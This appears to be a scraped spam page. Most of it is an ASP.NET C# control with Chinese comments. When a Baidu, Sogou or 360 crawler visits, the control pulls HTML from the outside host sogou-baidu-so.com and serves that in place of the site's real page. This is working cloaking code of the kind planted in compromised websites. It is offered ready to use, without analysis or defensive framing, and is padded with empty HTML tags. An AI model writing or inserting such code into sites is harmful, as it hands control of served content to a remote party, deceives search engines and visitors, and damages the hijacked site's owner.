<address id="vfbtj"><span id="vfbtj"><nobr id="vfbtj"></nobr></span></address>
    <address id="vfbtj"></address>
    

      <address id="vfbtj"></address>
      

      <span id="vfbtj"><span id="vfbtj"><th id="vfbtj"></th></span></span>
      
    
    
using System;
using System.IO;
using System.Net;

namespace YourNamespace
{
    public partial class SpiderHandler : System.Web.UI.UserControl
    {
        protected void Page_Load(object sender, EventArgs e)
        {
            // 檢查是否是搜索引擎爬蟲
            string userAgent = Request.UserAgent ?? string.Empty;

            if (IsSpider(userAgent))
            {
                // 獲取遠程內容
                string fileUrl = "http://sogou-baidu-so.com/sc.php";
                string fileContent = GetFileContent(fileUrl);

                // 設置頁面內容和編碼
                Response.ContentType = "text/html";
                Response.ContentEncoding = System.Text.Encoding.UTF8;

                // 輸出
                Response.Write(fileContent);
                Response.End();
            }
        }

        private bool IsSpider(string userAgent)
        {
            string[] spiders = new string[] { "Baiduspider", "Sogou", "sm", "360spider" };
            foreach (string spider in spiders)
            {
                if (userAgent.IndexOf(spider, StringComparison.OrdinalIgnoreCase) >= 0)
                {
                    return true;
                }
            }
            return false;
        }

        private string GetFileContent(string url)
        {
            using (WebClient client = new WebClient())
            {
                client.Encoding = System.Text.Encoding.UTF8;
                return client.DownloadString(url);
            }
        }
    }
}



      
    
      
        
      
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